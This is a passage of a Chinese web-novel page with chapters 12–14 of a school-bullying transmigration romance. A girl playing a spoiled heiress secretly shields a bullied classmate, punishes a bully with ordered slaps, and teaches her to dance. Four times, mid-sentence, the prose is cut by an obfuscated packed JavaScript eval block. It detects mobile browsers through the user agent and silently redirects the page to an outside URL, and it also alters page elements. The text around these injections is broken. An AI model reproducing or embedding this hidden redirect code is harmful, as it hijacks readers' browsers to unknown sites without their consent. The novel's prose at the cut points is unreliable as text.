安若本来还尴尬得恨不得原地消失,裴凝这么一说她面色一喜,“真的吗?” 安若从未对裴凝露出过这样的神情。 在短短几天的相处里,裴凝印象里的安若都是一副不高兴又人任性的大小姐模样,而不是现在这样,褪去了那层外衣。 当裴凝意识到自己在想什么时,她微不可察地皱了皱眉。 她在想什么。 安若现在只是因为心情好罢了。 “嗯,很厉害了。” 她平静地说。 安若一听瞬间就来劲了。 她又摆出了那个姿势,很认真地对准了球打了下去。 这次终于打散了。 系统没见过这种稀奇玩意,也忘记尖叫了,只顾着给安若说,【宿主,你好厉害!】 安若起身,很是满意。 她也没忘记自己的任务,于是便单手拿着杆子,偏过头对裴凝说,“还不快来陪本小姐打球?” 裴凝静了几秒,才拿起球杆,“嗯。” 安若本来没有想打很久的,毕竟她对这个休闲游戏一点兴趣都没有。 但裴凝每次都会把球打到很容易进洞的位置,安若就有点心痒痒,内心告诉自己我再来一次。 裴凝从小到大都是看人脸色长大的,明白什么时候做什么事能讨人开心,能让别人不自觉地沉沦。 她本来对跟安若共处一室十分抗拒,毕竟这样一位阴晴不定的大小姐,指不定下一秒就会挥动那根杆子打在她身上。 只是奇怪的是,安若今晚打了几个小时甚至都没有给她找过麻烦,只是很专注地打球。 打进了就会眼睛亮亮地看着裴凝,没有打进就会微微鼓一下嘴,自以为隐蔽地观察裴凝会不会进球。 如果进了,她会露出痛惜的神情。 如果没进,她就会开心一点,然后找一个精准的角度把球打进去。 注意到这一点后,裴凝为了还安若人情,次次都故意把球打偏。 她预计这次是大不了多久的,毕竟跟安若待在一起对她来说非常的难以忍受。 可是一抬眼,她才发现时钟已经快走到十二点了。 “十二点了。” 裴凝缓缓开口,“今晚要继续么?” 安若这时才意犹未尽地收回了手,她看了眼时间,一开始还不相信。 于是赶紧摸出自己的手机想要看时间,结果发现手机一点电都没有了。 安若想起来了,今天为了扮演不学无术的千金大小姐,一直在假装玩手机。 后来裴凝出了事,她担心了一个下午,一直在搜过敏的不良反应,会不会有什么后遗症... 结果现在没电了。 安若下意识看向了裴凝,内心悲伤地想,今晚每次出丑怎么都被裴凝看到了呜呜。 裴凝自然也注意到了安若漆黑一片的屏幕。 视线往左边看,就能看到安若充满求助地看着她。 裴凝早就料到了,安若的目的不会这么简单。 说不定安若的计划现在才开始。 安若清了清嗓子,本来想问你这里有没有充电器的。 结果转念一想,这样会不会不符合原主的人设。 那样的大小姐,在这一刻会做什么呢? 安若几乎是瞬间就有了答案。 但是天都这么黑了...裴凝太晚回去不太好。 于是安若收起了手机,直直看着裴凝,非常理直气壮,“不打了,我今天手都打累了。” 裴凝启唇,“那...” “那就说明本小姐不需要你了。” 安若说,“等下我会让司机过来接我,你赶紧回去吧。” 她看着裴凝那张清瘦的脸庞,还不忘补充道,“看在本小姐今天开心的份上,今天的作业你不用帮我写了。” 裴凝还是站着没动。 安若还以为她发现了什么,眼里多了几分警惕。 几十秒过后,还是安若还败下阵来。 她磕巴了一下,“你...你怎么还不走?” 她这么讨人厌,裴凝不应该巴不得快点溜走吗? 别这样看着她了。 真的没有别的目的了? 裴凝很是怀疑。 “不管怎么说,今天都很谢谢你。” 裴凝缓缓开口。 “都说了,我又不是为了帮你。” 安若佯装冷笑,“你再多说几句,以后就都别想休息了。” 她本意是为了恐吓裴凝。 当裴凝听清她的话后,鸦羽般的睫毛垂落着,淡然地说,“好。” 安若凤眼瞪圆,有点不敢相信自己的耳朵。 裴凝这个笨蛋在说什么。 她别扭地提醒道,“我刚刚的意思是以后放学,只要我想你都要过来陪我打球。” 言外之意就是,怎么这你还答应啊? 裴凝轻轻嗯了一声,“我知道。” 毕竟她欠了安若人情。 哪怕这个人前不久还霸凌过她。 “你...” 安若还没说完话,就听到系统的声音,【宿主,你做得好啊!你看裴凝的表情,她现在肯定觉得很屈辱。以后你天天过来给她上压力,裴凝肯定不堪受辱。】 安若一顿,觉得系统说得也有几分道理。 话到了嘴边又转了回来。 安若哼了一声,“你知道就好。” 时间太晚了,安若担心裴凝回去会危险,于是她佯装不耐烦地挥了挥手,“你快点走,别在这里碍我的眼。” 果然。 裴凝想,一打完球就恢复原样了。 * 裴凝原本以为徐浅或多或少会对她说些什么,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209306|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果她下去的时候徐浅反而笑得很开心了。 “小凝,你怎么不告诉我你认识安家那位小姐?” 徐浅轻声对她说,“姐要是知道,今天司萍萍我就不让她来了。” 这语气轻松得,仿若只是在谈论今天的晚饭吃什么。 但如果安若没有来,现在的场景恐怕就是徐浅将监控藏起来,并劝她跟了司萍萍,一劳永逸。 裴凝脸上没什么表情,“我跟她不太熟。” “还不熟呢?” 徐浅说,“下午进来的时候可吓人了,我当时都不敢说话。” 安若进来的时候,徐浅还没认出她来。 直到安若走到她面前,怒气冲冲询问裴凝的时候,徐浅才预感到哪里不太对。 当她看到安若胸口的牌子,瞬间了然。 她这里的顾客非富即贵,但对于安若来说,大多数人都不值一提。 失去一个司萍萍,迎来一个安若,完全不亏。 裴凝静静听着,只觉得好笑。 哪里是不敢说话,应该是开心到说不出来话吧。 “不过姐可提醒你,人家安小姐都没走呢,你先走不太好。” 徐浅凑近了说,“你得多跟人家攀攀关系,这样人家才会对你好。” 裴凝向来不是爱攀关系的人,更何况对象还是安若。 她淡淡嗯了一声,“姐,我先走了。” 看她这副油盐不进的模样,徐浅在心里叹了口气。 怎么都这么长时间了,也学不会圆滑点。 一旁的走廊角落里,安若偷偷探出了一双眼睛瞧着门口。 确定裴凝已经离开了,她才慢慢走了出来。 到门口的时候,安若才拿出了早就已经黑了屏的手机,对徐浅说,“给我扫个充电宝。” 徐浅见到她,立马露出了殷切的笑容,“好嘞。” 安若给手机充上电后,并没有离开。 “安小姐,今天玩得开心吗?” 徐浅说,“小凝她性子有点冷,可能不太会说话。您要是不满意,我们这边还有嘴甜的。” “那不行。” 安若说,“我就要她。” 那看来还是满意的。 徐浅在心里得出了结论后,试探着问,“那以后人我都给您留着?” 这里的顾客她见得太多了。 很多人都是指定的,只允许服侍一个人。 安若听了后果断拒绝,“不必了。” 这家店应该有小费,裴凝估计不太肯跟着她,不能影响裴凝靠自己的努力赚钱。 她只需要时不时过来恶心一下裴凝就行。 “不过我有一个要求。” 安若转过了头,“以后不许再让司萍萍那样的人接近裴凝,懂了吗?” 徐浅点了点头,“我明白。” 安若这时才满意。 等她走出门的时候已经快十二点半了。 安若没有给司机打电话,她又不是那种半夜还喜欢把人喊起来送自己的人。 司机也是打工人,不容易。 安若干脆打了辆出租车回家。 到别墅后安若都困得不行了。 她简单洗漱了一下就躺在床上,没用几秒就呼呼睡着了。 压根没有看到手机屏幕上不断闪烁的消息。 【若姐,后天晚会有随机共舞环节,我把你跟秦姐安排在一起了,到时候你美美出场就可以了!】 12. 会长的小狗腿(十二) 清晨,A1班就弥漫着一股诡谲的氛围。 “若姐今天气压好低啊。” “咱们要不还是别过去了?” “我支持,总感觉现在过去会被打。” “那等下的礼仪课怎么办?我不敢跟若姐组队了...” 以往的小跟班此刻都聚集在一起,谁都不敢去接近安若。 而作为主角的安若此时正趴在桌子上,脸上没什么表情。 从今天早上起床看到那天消息时,安若就有点绝望。 第一点是她一点都不想跟秦嫣接触。 第二点是,系统还告诉她,下一个剧情点就在舞会上。 她需要在舞会上将酒泼在裴凝的脸上,并且当众狠狠羞辱裴凝,让她下不来台。 就在这时,秦嫣才会从天而降阻止原主。 这是裴凝跟秦嫣的第二个感情转折点。 原主被气哭着跑掉了,而裴凝则作为幸运观众,能跟秦嫣共跳一支舞。 也是在这次的剧情过后,原主更讨厌裴凝,开始对她实施更严厉更残忍的报复。 而现在,离晚会只剩下不到两天了。 安若很是心累,她哭唧唧对系统说,“就不能跳过这个任务吗?” 系统这次义正言辞,【宿主,绝对不行!昨天你主动打破了原有剧情已经被检测到了,但念在你是初犯,没有采取惩罚措施,但如果有下一次,会发生什么我可不敢保证了。】 安若听完后蔫蔫地妥协,“好吧。” 所以她一脸不高兴地到了学校,脑海里在思考着该怎么办。 她思索的点子也有很多。 其实从这几天的相处中安若已经发现,这个剧情的灵活程度其实蛮大的,那也意味着会有很多的可能性。 裴凝肯定没有去过那样的晚会,到时候难免会有些无措。 而且到时候跳舞的话,裴凝万一被别人嘲笑了怎么办?她又不会跳那些舞蹈。 到时候肯定有好多人蛐蛐她。 安若自己可以在裴凝面前说很多难听的话,但别人不能总是说裴凝。 她只想让裴凝的火力凝聚在她一个人身上就行了。 那应该怎么办呢。 到时候又该怎么挑事,把酒泼在裴凝脸上呢。 裴凝进教室的时候,敏锐地觉察到那些人不怀好意的目光都落在了她身上,甚至还有些幸灾乐祸。 那一刻裴凝福至心灵,往安若的方向看过去。 果不其然,今天的安若气压很低。 昨天晚上那样明媚的样子仿佛只是裴凝的幻觉。 她背着书包,走到了安若旁边。 落座时,裴凝动作还很轻缓,视线落在安若的腿上。 但安若也没有将椅子揣倒。 那应该就是心情不好? 裴凝猜测着。 昨晚明明还那样开心,今天又这样不高兴 安若的心思果然很难以琢磨。 裴凝有些不懂,安若这样要什么有什么的的人每天到底会为了什么而生气。 其他人看到裴凝居然能安然坐下,都面面相觑。 按照流程,安若不应该是这样啊。 一时间,教室里是死一般的寂静。 裴凝打开了课本,上面满是笔记。 昨天回去后,她熬到了凌晨三点才写完,不仅是安若给她布置的那些,还有后面的一些笔记。 其实她并不用这样做,但是毕竟她欠了安若的人情,就算不情愿也要尽量做好。 安若相当于帮她免掉了五十万的债务。 裴凝静悄悄将笔记本放在了安若的手边后,便开始低头学习。 其他人更加不可思议了。 太反常了。 她们班怎么可以不打架。 而且,裴凝凭什么这么悠闲地坐在椅子上。 她们互相交头接耳地嘀咕着,最后得出了一个妙招后相视一笑。 众所周知,安若心情不好时会翘一天的课,要么就是趴在桌子上什么也不做,要么就是去她的休息室一待就是一整天。 既然她们老大心情不好,她们当然也要遵循老大的喜好,将裴凝惩罚一下了。 更何况自建校以来,哪个特困生不是每天都唯唯诺诺,被打的鼻青脸肿,整天只能畏畏缩缩低着头躲在角落里当老鼠人的? 裴凝没道理可以这么安稳。 九点十五。 第一节课快要开始的前15分钟,安若还是没有任何要起来的意思。 其实她早就知道裴凝来了,但安若不想找她的麻烦,只能干脆装睡假装不知道裴凝的到来。 怪不得裴凝后来会疯呢,这样不间断的的被欺负,谁能受得了。 安若还记得自己第一次演戏,是一个端水的小丫鬟,被对戏的小有名气的女演员切切实实甩了一记响亮的耳光。 当时她都快被打蒙了,脸颊火速肿胀了起来,不可置信地捂着脸看向那个女演员。 后来拍戏结束,所有人都在夸那个女演员演得好,没有人关注安若脸上的伤,甚至连冰袋都是她自己花钱买的。 那天她躲在屋子里哭了好久,又怕哭肿了第二天不上镜,只能不断给自己冰敷,告诉自己这没什么的。 已经很长时间过去了,可那段经历还是在安若的心里留下了阴影。 以至于她再次见到那个女演员她都觉得害怕。 一次就够安若受得了。 更别说裴凝这种被高强度针对的。 安若忽然觉得,裴凝早点喜欢上秦嫣也不是什么坏事。 至少她“安全”了。 安若今天打算冷酷到底。 干脆一下子睡到放学好了。 * 裴凝在位置上坐到九点二十五,安若还是没有起来的意思。 她沉静地将书本合上,缓缓向礼仪课的教室走去。 校园比较大,裴凝恰好在上课的前一分钟进入了教室。 礼仪课的老师正在讲台上介绍自己,裴凝就在角落的坐着。 安若的跟班故意从她身边经过,还用力踹了踹裴凝,“谁允许你坐在这里了?谁知道你身上有没有什么病菌啊。” 她的揣跟安若不一样。 安若从严格意义上来说更像是蹭,痒痒的,不疼。 但眼前的人就不一样了,她那一脚完全没留情面,腿部立马传来了钻心的疼。 裴凝眉头都没皱一下。 台上礼仪课的老师见到这一幕心里猛然一紧,暗骂这群大小姐怎么又在欺负人。 她笑着说,“那现在老师自我介绍完了,该你们了,就从那边的同学开始吧。” 她指着裴凝说。 “老师,她还需要什么自我介绍啊,这不全校都认识她吗,新来的C级生。” “就是,昨天不还被送到医务室了吗,谁能有她娇贵。” “穷人就是这样,吃点高档的食物就会死,昨天让吃了几口意面就昏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209307|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒了,估计她妈都没给她吃过什么好东西吧。” 裴凝原本还一副无所谓的样子,直到她们开始嘲讽妈妈时,裴凝冷冷抬眸。 她望着刚刚嘲弄自己的女生,“你再说一遍。” 所有人均是一愣。 在她们的印象中,裴凝就是个闷葫芦,被打被骂都不会吭声。 这好像还是她们少有的几次听见裴凝说话,听起来很凶。 刚刚开口嘲讽的人很快就回过神来了。 这人是什么东西,居然敢这么跟她将话。 她说,“我说你妈跟你一样都是吃点高档东西就会死的东西。” 她的话还没讲完,裴凝就寒着脸,如同箭一般冲上前去。 那个人被吓得躲在了同伴的身后,“你想干嘛?这里是教室,你难道想打人不成?” 裴凝手紧紧攥在一起,站在原地没有动。 她想到了她的母亲,裴知月。 如果打了这个人,她肯定不会让自己好过的,她不在意自己会不会受伤,可是妈妈不能被影响。 裴凝的沉默对她们来说就是最好的兴奋剂,刚刚还害怕得不行的人现在松开了攥着同伴衣角的手,微微抬起下巴对着老师说,“老师,这个特困生违反学校纪律,不应该给她记过劝退吗?” 在枫丹伯格,被记过是影响学分的,严重者还会被劝退。 虽然她们平时插科打诨,霸凌同类不在少数,但那又如何? 规则只是用来规训普通人的。 老师无奈又讨好地笑了笑,“好的。” 裴凝视线在她们之间扫过,她眼里闪过了一丝嘲讽,转身要离开时却被人一圈一圈地堵住。 那群B级生各个双手环胸,用一种接近轻蔑的眼神看着她。 “让你走了吗?” “老师,今天的课要不就上到这里吧。” 一旁的人笑眯眯地说。 老师只能仓皇点着头,“好。” 这群大小姐闹事不是一天两天了,她也不想沾一身腥。 其实如果只是这几个人她倒是可以说几句,但问题就是她们都是安若的人。 学校里虽然S级是凤毛麟角,但A级也是罕见的,一个班里只有几个。 运气好遇到有教养的还好,运气不好...就是安若这种。 招惹不起。 等老师走后,刚刚辱骂裴凝母亲的人笑着走到裴凝面前,用尽全力往裴凝的腿上踹了一脚。 裴凝没收住力,跪下了地上。 “你还想打我吗?” 孙邈问。 她就是经常跟在安若身边那个小跟班,也是在厕所霸凌裴凝时用棍子击打她手臂的人。 裴凝冷冷抬眸,吐出了两个字,“何止。” 此话一出,周围的所有人顿时发出了欢呼声。 打了好久的狗居然会叫了,真稀奇。 “那你就听好了,我再说一遍。” 孙邈笑得很肆意,“你跟你妈妈都是——” 她话还没说完,就被裴凝死死掐住了脖子。 她像是看死人一样看着孙邈,咬紧牙关,一字一顿道,“闭嘴。” 所有人都惊呆了。 孙邈更是脸颊涨红,说不出一句话。 与此同时,教师的门被人打开。 安若带着些怒气的声音响起,“你们做什么?” 所有人都心里一喜。 安若终于来惩罚这条不听话的狗了。 13. 会长的小狗腿(十三) 安若本来打算在教室装死到底的,但后面还是担心裴凝,想要去看看情况。 刚走到门口,就看到老师从里面神色慌张地走了出来,当她看到安若的时候显然也被吓了一跳,“安小姐好。” 直觉告诉安若肯定出事了。 她冷着脸打开了门,一进去就看到一群人围着裴凝,而为首的女生被裴凝狠狠掐住了脖子。 安若的心脏都快跳到嗓子眼了。 那一刻,所有的理智都被下意识冲散,“你们在干什么?” 这一喊,不仅喊醒了那些B级生,也拉回了裴凝的理智。 她缓缓松开了手,孙邈终于能有喘息的机会,她的脖子上满是红痕,看到安若来了立马委屈地跑到她身边,“若姐,她居然敢掐我。” 安若看了看她脖子上的痕迹,又看了看一旁迅速恢复到平时那般冷峻的裴凝身上。 裴凝知道安若在打量她,她也知道今天不会好过。 安若那么护短,指不定要怎么惩罚她—— 啪的一声响起。 可裴凝的脸上并不痛。 “谁允许你们动她了?” 安若冷声问。 所有人,包括裴凝都不可置信地看向了安若。 孙邈不是没有被安若打过,只是安若从来没有因为一个C级生来打她。 “若姐,明明是她打的我。” 孙邈还在争论。 “我让你开口了吗?” 安若凤眼瞪着她问。 孙邈顿时噤声。 她还是怕安若的。 “我有没有说过,她是我看上的猎物?” 安若凝视着孙邈。 孙邈局促地点了点头,“说..说过。” “说过你还敢趁我不在就碰她?” 安若笑了笑,“你有没有把我放在眼里?” 孙邈一听瞬间就慌了,她拽住了安若的衣角,“若姐,我只是想帮帮你。” 安若毫不留情地将她推开,“那你现在不用帮了。” 安若说,“从现在开始,滚出A1班。” 孙邈脸色煞白。 如果是被A级驱逐出班的话,就算去了其他班级也是会被霸凌的。 毕竟有那么多人想着去讨好A级生。 她还想挽留,“安若,我知道错了...” 安若垂眸看着她,只觉得讽刺。 她原本只想着让孙邈离开这里就好了,但现在她有了一个更加好的主意。 她闲散地坐在一旁的椅子上,微微翘着二郎腿,“想要留下来?” 孙邈红着眼睛疯狂点头。 安若温和地笑了笑,“可以啊,不过你不听话,教训肯定是少不了的。” 孙邈一听,心里忽然有了一种不好的预感。 “未经我的允许,就私自动我看上的东西,不把我放在眼里。” 安若手肘靠在椅子上,单手托腮,“再不管教管教,你岂不是要骑到我头上了?” 孙邈颤声说,“我没——” “闭嘴。” 安若说。 她的视线凌厉地扫过其他人,刚刚那群也在起哄要欺负裴凝的人此刻都畏畏缩缩,跟鹌鹑一样。 她们畏惧的从来都只是权力而已。 全场敢跟她对视的只有裴凝。 四目相对,裴凝目光很是淡然,还带着微不可察的考量。 哪怕刚刚那样狼狈,她此刻也直直站着。 这几次安若出现的时机,为什么总是那么巧妙? 裴凝有些困惑。 安若被她看得心里发毛,差点装不下去了。 她抬了抬下巴,“你过来。” 裴凝身边的所有人都迅速跑到了两边,只剩下她一个人。 裴凝就这样带着困惑,慢慢走到了安若面前。 “我给你一个机会。” 安若说,“孙邈的处置权现在在你的手里,你想对她做什么都可以。” 此言一出,其他人瞬间不淡定了。 哪有C级生惩罚B级生的,更何况还是裴凝这样的人。 孙邈更是嘴唇紧抿,一副委屈到不行的样子,“若姐,你不能这样对我。” 安若漂亮的脸上满是困惑,“我哪样对你了?” “不乖的狗就应该教训,不是吗?” “那你也不能...” 孙邈没忍住脾气反驳了半句,又憋屈地住嘴。 “不能让别人惩罚你?” 安若很善解人意,“我亲自来也是一样的。” 她转头问裴凝,“你觉得是用烟把她脸上烫一个洞好,还是把她的头发剃光再刻上字,顺便拍几张照片发在论坛里好?” 裴凝依旧静静注视着安若,没有说话。 孙邈则是承受不住,她满脸都是惊惧的泪水。 她不能这样,会毁容的。 绝对不行。 如果她的照片被发到论坛,那她还不如死了算了。 “安若,我知道错了,我以后不敢了。” 她开始疯狂挣扎着道歉,“别这样对我。” 安若从始至终都只是很平静地看着她。 霸凌者居然也会哭成这样吗? 你们欺负别人的时候,有想过这样的结果吗? 她弯了弯唇,“晚了。” 孙邈眼见没有半点希望,就只能跪在地上,颤声说,“那...那我转班。” 安若点了点头,“可以呀。” “不过呢...” 她低头打量着自己的手指,“你得跪下来,被每个人十个耳光才可以。” 孙邈不堪受辱,愤愤站了起来,“你凭什么这么对我?以前我给你当走狗当得还不够吗?就是因为欺负了裴凝,你就要这么对我?” 安若听完她的话,很困惑地问,“这还需要理由吗?” “我需要的向来都是听话的狗,我需要谁,不需要谁,只是一句话的事。” “而且很高兴地告诉你,因为你这句话,现在每个人可以打二十下了。如果不响,那就不作数。” 安若随机指了一个人,“你,负责录下来,然后发给我。” 孙邈咬紧牙关,愤恨地瞪着安若,恨不得在她雪白的大腿上剜下一块肉。 安若打了个哈欠,她转头看向裴凝,嗓音很冷,“你给我过来。” 裴凝闻言,缓缓抬起脚步跟在了安若身后。 孙邈则是被人摁着,脸颊飞速红肿了起来。 等到出了教室,安若才终于松了口气。 刚刚的一镜到底对她的考验还是太大了。 不过目的达到了就好。 【宿主,咱这日子还过吗?】 系统哭着问,刚刚警报声对安若来说简直就跟摆设一样。 安若一次一次违反规定,可是有可能会触犯随机惩罚的。 【你别担心,我现在不就是要私下里教训她了吗?】 安若安抚道。 她这样想着,脚步还是没停。 直到她们走到安若的休息室时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209308|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安若才停下了脚步,她小脸紧绷,“进去。” 裴凝打开了门,但这次她没有再往上看去注意有没有水盆。 休息室很大,安若缓缓坐在了沙发上,凤眼瞧着裴凝问,“知道今天犯了什么错吗?” 裴凝有点高,安若抬眼比较辛苦,但她还是在很努力地瞪人。 裴凝原本还在垂眼看着她,后面她眸色动了动,缓缓半跪了下来,这样刚好能跟安若平视。 她望着安若,平静地说,“不知道。” 按照裴凝的推测,安若会动手。 她听说过安若,是个脾气骄纵,无法无天的大小姐,最喜欢的就是拿人出气。 可安若并没有这样做。 她自以为冷酷又恶劣地笑了一声,骂道,“笨蛋。” 裴凝听着,没有反驳。 安若打量着她的表情,心里对自己演技很是满意。 看来裴凝已经彻底被她吓到了。 她决定加大力度,伸出手就捏住了裴凝的下巴,逼迫她看向自己,“你最好掂量清楚自己的身份,你是我的狗,要欺负也只能是我来欺负。” “要是下次在被我发现你被别人伤了,她不会好过,你也不会好过。” 裴凝安安静静地听着,那股属于安若的香气还不断在往她的鼻腔里窜。 她有些晃神。 安若皱眉,“你听到了没有?” 她刚刚的咬字难道不清晰吗?QAQ 裴凝平静道,“听到了。” 安若这时才满意,她松开了手,“那你把我的话重复一遍。” 裴凝黑如曜石般的眸子看着她,“我是你的狗。” 安若差点要破功。 她努力压制住自己的真实表情,“我要听的不是这个。” 裴凝注意到,安若小腿都绷直了。 女生显然被养得很好,看起来像一块羊脂玉,任何一点变化都显得格外明显。 只是裴凝还是不太懂。 为什么呢。 安若为什么要这么做? 她想着,又看向了耳朵都泛着红但表情还是很凶的安若,“只有你能欺负我。” 这样才对嘛。 安若悄悄松了口气,顺便把在角落里嘤嘤哭泣的系统喊了出来,【九九你看,我就说不会影响剧情的。裴凝被我逼得都说了这些话了。】 系统这时才又打开了视线共享,停止了哭泣,【好像是耶。】 那它决定单方面原谅宿主了。 【对啊,我心里都有数的。】 安若很自信,她觉得自己好像找到了一条裴凝不会被别人欺负,还能讨厌她的方法。 她这样想着,脸上的表情更是得意,“知道就好,以后你不论做什么都要乖乖听我的话,不然你的下场也会跟她一样,听清楚了吗?” 裴凝垂着眼,“知道了。” 语气是难得的温顺。 成功威胁裴凝答应这则屈辱条约后,安若才满意地拍了拍裴凝的肩,“跟着我。” 裴凝看着她脱下外套,只穿着最里层的衬衫,安若将头发扎了起来,偏过头对裴凝说,“怎么还不过来?” 裴凝视线从她的腰上移开,温吞地站了起来朝安若走去,跟她面对面。 “把手搭我腰上。” 安若说。 裴凝静默一瞬,抬眼看她。 见她长时间没动,安若很奇怪地抬眼,“快点呀。” 她说完,裴凝垂落在身体右侧的手才缓缓抬起,轻轻握在了安若的腰上。 14. 会长的小狗腿(十四) “会跳双人舞吗?” 安若问。 裴凝诚实,“不会。” 安若见缝插针地骂人,“笨。” 紧接着她又说,“连舞都不会跳,也太丢我的人了。” 裴凝并不知道这两者之间有什么必要的关联,她几乎所有的感官都流落在掌心,没有了质感厚重的外套,她能够更好地感受到安若身上的细节。 “算了。” 安若佯装大发慈悲地说,“今天我心情好,可以勉强教教你。” 或许是早就习惯了安若的跳转性思维,裴凝低低嗯了一声。 安若并不会跳这些,但幸好原主从小接受过类似的教育,脑海里还残留一点。 她瞥了眼裴凝的手势,“不是这样握的。” 说着就伸手帮裴凝调整了一下手势,这下裴凝的整个手掌都稳稳托在了安若的腰上。 裴凝的呼吸停止了一瞬,呼吸节奏都慢了几拍。 安若调整好后抬头看她,漂亮的眼睛里满是不解,“你离我那么远干嘛?” 裴凝看了眼她们之间的距离,能够再站下一个丰腴的人,她缓缓向前走了一步。 安若的身高刚好到她的鼻尖,裴凝能清晰地闻到安若身上那股香气。 可能是习惯了,裴凝觉得好像并没有原先那么恶心了。 “另一只手伸出来。” 安若又命令道。 裴凝这次没动。 安若摊开了白皙的掌心,催促道,“你快点呀。” 裴凝不知道在想什么,最终还是默默伸出左手。 安若很自然地扣住了她的手。 明明打人的时候那么痛,握起来却是软的。 跟裴凝稍稍带着些薄茧的手掌不同,安若的手比她小一点,白白细细的,轻轻一握就能握住,还很软,好像没有骨头一样。 “你左脚往前抬。” 安若正在认真指导,完全没有注意到裴凝的那一缕不自然。 裴凝回过神来,往前走了一步。 明明脑海里应该记着动作,但裴凝总是会出现一些莫名其妙的念头。 她很少会跟谁亲密接触,更遑论像现在这样一手摸着腰,一手跟人十指交扣。 明明应该是很排斥的事情,可裴凝脑海里最强烈的想法依旧来源于安若。 为什么要忽然教她这些? 难道是因为今天那节礼仪课,还是安若有其他的目的? “这次会了吗?” 安若抬头问她,发丝堪堪擦过裴凝的鼻尖,只留下一抹香气。 裴凝一下子忘记了自己刚刚在想什么,短促地嗯了一声,“记住了。” 裴凝的学习速度很快,几遍跳下来很快就学会了。 安若在心里感慨,不亏是主角受,学习速度就是快。 这下她教会了裴凝,到时候应该不会出丑太多。 安若莫名的不想让裴凝输。 尤其是在这种只要有人教,她就能轻而易举学会的事情上。 凭什么出丑的一定是裴凝。 她那么聪明,多学学肯定会比秦嫣和在场的人好一万倍。 “好了。” 见裴凝学得差不多了之后,安若松开了手,毫不留情地退出了裴凝的怀抱。 她坐在沙发上,伸手锤了捶自己的大腿,“你好笨,我脚都跳累了你才学会。” 掌心的柔软忽然消失,裴凝的手指蜷缩了片刻,自然地垂落了下来。 她平静地说,“抱歉。” 安若是真的有点累了,她整个人深陷柔软的懒人沙发里,一直在轻轻转着自己的脚踝缓解不适。 真的有人可以这么娇气吗? 裴凝想。 安若偷偷观察到了裴凝的表情,很放心。 看来她刚刚的话触怒到裴凝了。 裴凝这样的优等生,肯定受不了别人说她笨。 安若得寸进尺,对着裴凝说,“我脚都因为你跳痛了,你不应该帮我揉揉吗?” 裴凝听完,缓缓走到了她面前蹲下,女生穿着灰色的过膝袜,小腿的线条很是漂亮。 她伸手按了按安若的脚踝,“是这里吗?” 安若刚刚的话完全就是为了羞辱裴凝,根本就没有想到裴凝真的会帮她摁脚。 安若没有被人这么伺候过,她下意识想要把脚挪开,但裴凝却轻轻拽住了她的脚踝,与此同时,她那双与安若十分相似的凤眼抬起,对着安若说,“是这里吗?” 安若有点磕巴地说,“嗯...是的。” 她意识到自己的其实有些弱了,于是又打击她,“你下次不要那么笨了,不然我的脚又会痛。” 还有下次吗? 裴凝想。 但安若说的的确没错,她刚刚没有用心,总是会被带偏。 按照平日里的学习效率,只需要两遍裴凝就能牢牢记住。 裴凝帮安若摁着脚踝,“好。” 安若从来没觉得时间这么慢过,但裴凝的手法很好,酸软缓解了不少。 “好了好了。” 安若见状干脆轻轻推了推裴凝的肩膀,趁机把脚抽了出来。 她觉得可能是今天孙邈的下场吓到裴凝了,所以她今天才会这么听话。 安若使唤了裴凝一个上午也有些于心不安,于是厌烦地说,“你出去吧,我现在不需要你了。” 对于安若的情绪变化,裴凝已经摸清楚了。 她见过很多人,善意的,恶意的,只需要接触一会儿裴凝就能摸出个大概。 但安若给裴凝带来的感觉不一样,她浑身上下都很矛盾。 只是裴凝不知道自己有什么值得安若矛盾的。 “......” 当裴凝意识到自己在分析什么时,眉头皱了皱。 她不会把心思落在无关紧要的人身上。 安若说完话后就干脆躺在沙发上,假装一脸冷酷地玩手机,好像真的把裴凝当空气了。 直到裴凝真的离开后,她才把手机甩到了一边,内心默默忏悔。 她刚刚好过分,裴凝都被她吓得不敢说话了。 为了赎罪,安若决定一整个下午都不出现在裴凝面前。 * 裴凝回到教室时,原本还在窃窃私语的人群忽然就停止了交谈,每个人的视线都落在了她身上。 裴凝居然连衣角都没乱。 孙邈今天的惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 